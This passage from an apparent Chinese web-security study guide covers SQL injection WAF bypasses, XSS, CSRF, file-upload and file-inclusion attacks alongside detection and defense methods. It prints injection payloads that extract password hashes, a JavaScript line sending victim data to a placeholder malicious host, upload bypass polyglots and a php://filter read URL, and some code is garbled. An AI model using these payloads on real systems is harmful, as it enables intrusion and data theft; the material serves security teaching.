适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。
- HTTP参数污染(HPP):
如?id=1 union select 1,2,3 from users where id=1 #
这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #
次数&id=会在查询时变成逗号,具体细节取决于 WAF ;
这个例子也同理:?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users #
如果服务器代码为: select * from table where a=”. _ G E T [ ‘ a ’ ] . ” a n d b = ” . \_GET[‘a’].” and b=”. _GET[‘a’].”andb=”._GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit */from users # 可以看到,这种方式比较适合白盒测试。
- 使用逻辑运算符 or /and 绕过:
如?id=1 or 0x50=0x50
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
-
比较操作符替换:比较操作符如!=、<>、<、>都可以用来替换=来绕过。
-
同功能函数替换:
substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;
group_concat 、 concat 、concat_ws 三者可以互相替换;
还有一种新的方法 ,3条语句分别如下
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
都是从 password 里判断第一个字符的值,可以用
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。
- 盲注无需or和and:
例句:index.php?id=1
当and和or被过滤时,可以将 1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。
- 加括号:
如?id=(1)union(select(1),mid(hash,1,32)from(users))
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过:
如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
其中 A 越多越好,一般要求 1000 个以上。
二、检测方法:
1、基于报错的检测方法:
使用各种符号以及组合: ‘ “ ( %
如直接在URL后添加单引号看是否报错index.php?id=1’
2、基于布尔的检测:
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞
3、直接在URL地址后面加-1、-0、‘%2B’和’%2B’a:
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。
4、判断盲注的常用方法:
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。
三、防御方法:
关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。
常用的修复方案:
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
(2)过滤危险的 SQL 语句关键字。
(3)确认每种数据的类型。
(4)数据长度应该严格规定。
(5)网站每个数据层的编码统一。
(6)严格限制网站用户的数据库的操作权限。
(7)避免网站显示 SQL 错误信息。
(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。
(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。
其实最有效的防御手段是下面两种:
1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
例子:
String sql=“select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();
2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。
三种类型的XSS(跨站脚本):
一、检测方法:
寻找脚本程序的输出显示代码,搜索关键字,显示输出那个变量,跟踪变量是否被过滤。
可以先输入一些内容,页面返回之后,可以查看网页源代码,搜索内容关键字看看是不是直接返回在页面的HTML代码中。
二、防御方法:
1、调用函数:对于用户提交的数据可以通过调用函数进行过滤,htmlspecialchars()函数将输出的内容进行HTML的编码,效果最好;str_replace()函数可以将指定的字符串转换为其他字符串的,但是会被绕过。
2、使用XSS Filter:
(1)输入过滤:
输入验证(客户端):前端JS过滤,如检测最大长度、是否只有合法字符、格式是否符合要求、数字是否在指定的范围内。缺点就是容易被修改掉。
数据消毒(服务器端):过滤敏感字符(可以和SQL注入的一同过滤),如< > javascript ‘ “ & # expression等。
(2) 输出编码(服务器端):可以使用HTML编码(PHP的htmlspecialchars()函数、ASP的Server.HTMLEncode()函数、ASP.NET的Server.HtmlEncode()函数),用对应的HTML实体替代字面量字符,此时浏览器会将恶意代码当作HTML文档的内容而不是结构加以处理。
常见恶意字符的HTML编码(显示、实体名字、实体编号):
< < <;
> >;
& & &;
“ " ";
‘ '
3、白名单和黑名单结合
4、Noscript:Firefox的一款免费的开源插件,默认禁止所有脚本,但是可以通过自定义设置允许通过的脚本。
5、Anti_XSS:提供大量的编码函数用于处理用户的输入,实现白名单机制和输出转义
6、HttpOnly:攻击者通过XSS漏洞执行JS中的document.cookie方法来窃取用户的cookie信息。Web应用程序在Set-Cookie时将其属性设为HttpOnly即可避免Cookie被客户端JS存取,也可以保护用户的Cookie信息不被盗取。
PHP设置HttpOnly的方法:
(1) 修改php.ini文件,设置其值为1或TRUE;
(2) setcookie()函数和setrawcookie()函数的第七个参数;
(3)在PHP代码中开启。
7、Web安全编码规范:对敏感字符转义、URL属性进行相应的规定等。
8、尽量使用WAF
9、防御DOM型XSS:
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到
CSRF(跨站伪造请求):
一、CSRF攻击获取数据的方法:
要获取的关键数据:用户 id、用户昵称、用户 email、用户个人页面地址等。
同域内 CSRF 攻击获取数据几乎没任何限制。
跨域 CSRF 攻击获取数据的几种方法总结如下:
1、XSS
2、服务端代理技术
3、JSON Hijacing
4、Flash AsctionScript(crossdomain.xml)
(1)XSS 获取数据:
如之前关于XSS文章做的三方的演示,使用目标站点上的XSS 漏洞:
’>其中get.js 的代码为:
//use DOM method to get your data
new Image(). src=‘http://恶意站点/a.php?data=‘+data;
恶意站点的 a.php 文件接收唯一标识等数据,该唯一标识可以是 url 中的或是目标站点url 对应的内容中的。这样受害者就会访问到第三方的恶意网站从而泄露信息。
(2)使用 JSON Hijacking技术:
目标站点使用了 JSON 数据传输用户私有数据,其中包含需要的唯一标识等信息。
相关代码:
三、使用Flash ActionScript 脚本:
前提是目标站点下存在crossdomain.xml文件,且其配置允许其他域的 AS脚本进行跨域请求。
<?xml version="1.0"?>相关代码:
import flash.net.*;
var _l = new URLLoader(new URLRequest(“http://目标站点/"));
_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});
_l.load();
二、检测方法:
最简单的方法就是抓取一个正常请求的数据包,去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。
一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。
以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。
三、防御方法:
1、 服务端的防御:主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。
(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。
(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。
(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。
(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。
(5)、使用验证码或者密码确认方式,缺点是用户体验差。
2、 用户端的防御:用户的安全意识与良好的上网习惯。
3、 安全设备的防御:有些厂商的安全产品能基于硬件层面对HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。
File Upload(文件上传漏洞):
一、文件上传攻击分类:
1、轻量级检测绕过攻击:
(1)绕过javascript 对扩展名的检测:
使用Burpsuite等反向代理工具直接POST数据包到服务端,绕过前端检测,如DVWA中的绕过示例。
(2)绕过服务端对http request 包MIME 类型检测:
使用Burpsuite等反向代理工具伪造POST 数据包到服务端,绕过MIME检测,如DVWA中的绕过示例。
2、文件内容检测绕过攻击:
文件加载测试绕过:对文件进行代码注入再配合任意解析调用/漏洞。
3、上传攻击框架漏洞分层以及路径/扩展名检测绕过攻击:
轻量级检测绕过攻击 |
绕过JavaScript对扩展名的检测 |
绕过服务端对HTTP request包MIME类型检测 |
路径、扩展名检测绕过攻击 |
黑名单绕过 |
文件名大小写绕过 名单列表绕过 特殊文件名绕过 0x00截断绕过 .htaccess文件攻击 PHP文件包含漏洞 Apache解析漏洞 IIS解析漏洞 Nginx解析漏洞 |
4、文件内容检测绕过攻击:
文件加载绕过 (代码层漏洞)
攻击手法与环节如图:
二、上传文件中的解析攻击:
1、直接解析(几乎没有防御):
比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。
2、配合解析(有一定程度的防御):
可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。
(1)、本地文件包含解析:主要是PHP本地文件包含
(2)、.htaccess文件解析
(3)、Web应用程序解析漏洞以及其原理:
1.Apache 解析漏洞:
解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)
描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样 一直往前尝试,直到遇到一个能解析的扩展名为止。
2.IIS 解析漏洞:
解析:test.asp/abc 或 test.asp;abc 名 或 abc/def.php (其中abc、def都为任意文件名)
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;“会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串”/任意文件名.php"就会按照php的方式去解析。
3.Nginx 解析漏洞:
解析:abc/def.php 或 abc%00.php (其中abc、def都为任意文件名)
描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。
4.解析漏洞总结:
Apache的扩展名顺序解析漏洞:Apache自身的漏洞
IIS的asp 解析漏洞:IIS自身的漏洞
Nginx的%00 解析漏洞:Nginx自身的漏洞
php-cgi的默认配置漏洞:这类以CGI 形式调用php的web 应用程序主要出现在IIS和Nginx;而Apache 通常是以module 的形式去调用php,所以很少出现该类型漏洞。
三、检测方法:
简单点的方法就是直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测。
四、防御方法:
简单的防御方法为:获取文件扩展名进行白名单对比,然后对文件进行重命名。当然若存在解析漏洞等容易被绕过,具体点的防御方法如下:
1、客户端JavaScript检测:通常为检测文件扩展名)
2、服务端MIME 类型检测:检测Content-Type内容)
3、服务端目录路径检测:检测跟path参数相关的内容
4、服务端文件扩展名检测:检测跟文件extension 相关的内容
(1) 黑名单检测:
-
文件名大小写绕过:如 AsP,pHp。
-
名单列表绕过:用黑名单里没有的名单,如 asa 或 cer 等。
-
特殊文件名绕过:比如发送的 http 包里把文件名改成 test.asp. 或 test.asp (后面为空格),这种命名方式在 Windows系统里是不能直接修改的,需要在Burpsuite等代理中进行修改,然后绕过验证后,会被Windows系统自动去掉后面的点和空格,但也只能用在Windows系统中。
-
0x00 截断绕过
-
双扩展名解析绕过攻击:
(1)基于Web服务的解析逻辑:如果上传一个文件名为help.asp.123,扩展名123 不在扩展名黑名单中也没在Apache 可解析扩展名列表中,此时会向前搜寻下一个可解析的扩展名,若搜寻到.php,则会以php 执行。
(2) 基于Web服务的解析方式:如果在Apache的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php 来执行。
-
危险解析绕过攻击:基于Web服务的解析方式:如果在Apache 的conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。
-
.htaccess 文件攻击:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。
-
解析调用/漏洞绕过:直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
(2) 白名单检测:
-
0x00 截断绕过:如test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击
-
解析调用/漏洞绕过:直接配合上传一个代码注入过的白名单文件,再利用解析调用/漏洞
-
.htaccess文件攻击:无论是黑名单还是白名单都可以直接攻击.htaccess 文件
如果PHP 安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。
5、服务端文件内容检测(检测内容是否合法或含有恶意代码) :
(1)文件幻数检测:
主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值,比如图片类型的文件幻数如下:
JPG文件:
GIF文件:
PNG文件:
然后在文件幻数后面加上代码即可。
(2)文件相关信息检测:
图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息,结构如下:
GIF89a
(…some binary data for image…)
<?php phpinfo(); ?>(… skipping the rest of binary data …)
(3)文件加载检测:
一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。
对渲染/加载测试的攻击方式:代码注入绕过,可以用图像处理软件对一张图片进行代码注入,但文件结构是完整的,渲染测试基本上都能绕过。用winhex查看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。
对二次渲染的攻击方式:攻击文件加载器自身,常见的就是溢出攻击,上传恶意文件后服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出;二次渲染相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。
示例代码:
function image_gd_open($file, $extension) {
$extension = str_replace(‘jpg’, ‘jpeg’, $extension);
$open_func = ‘imageCreateFrom’. $extension; //函数名变成imageCreateFrompng 之类
if (!function_exists($open_func)) {
return FALSE;
}
return o p e n _ f u n c ( open\_func( open_func(file); //变成imagecreatefrompng(‘/tmp/php0lbTOn’)
}
File Include(文件包含漏洞):
一、文件包含漏洞的利用技巧:
包含漏洞上传技巧:
一般将一句话木马和图片进行绑定上传。
包含读文件:
如http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
包含写文件: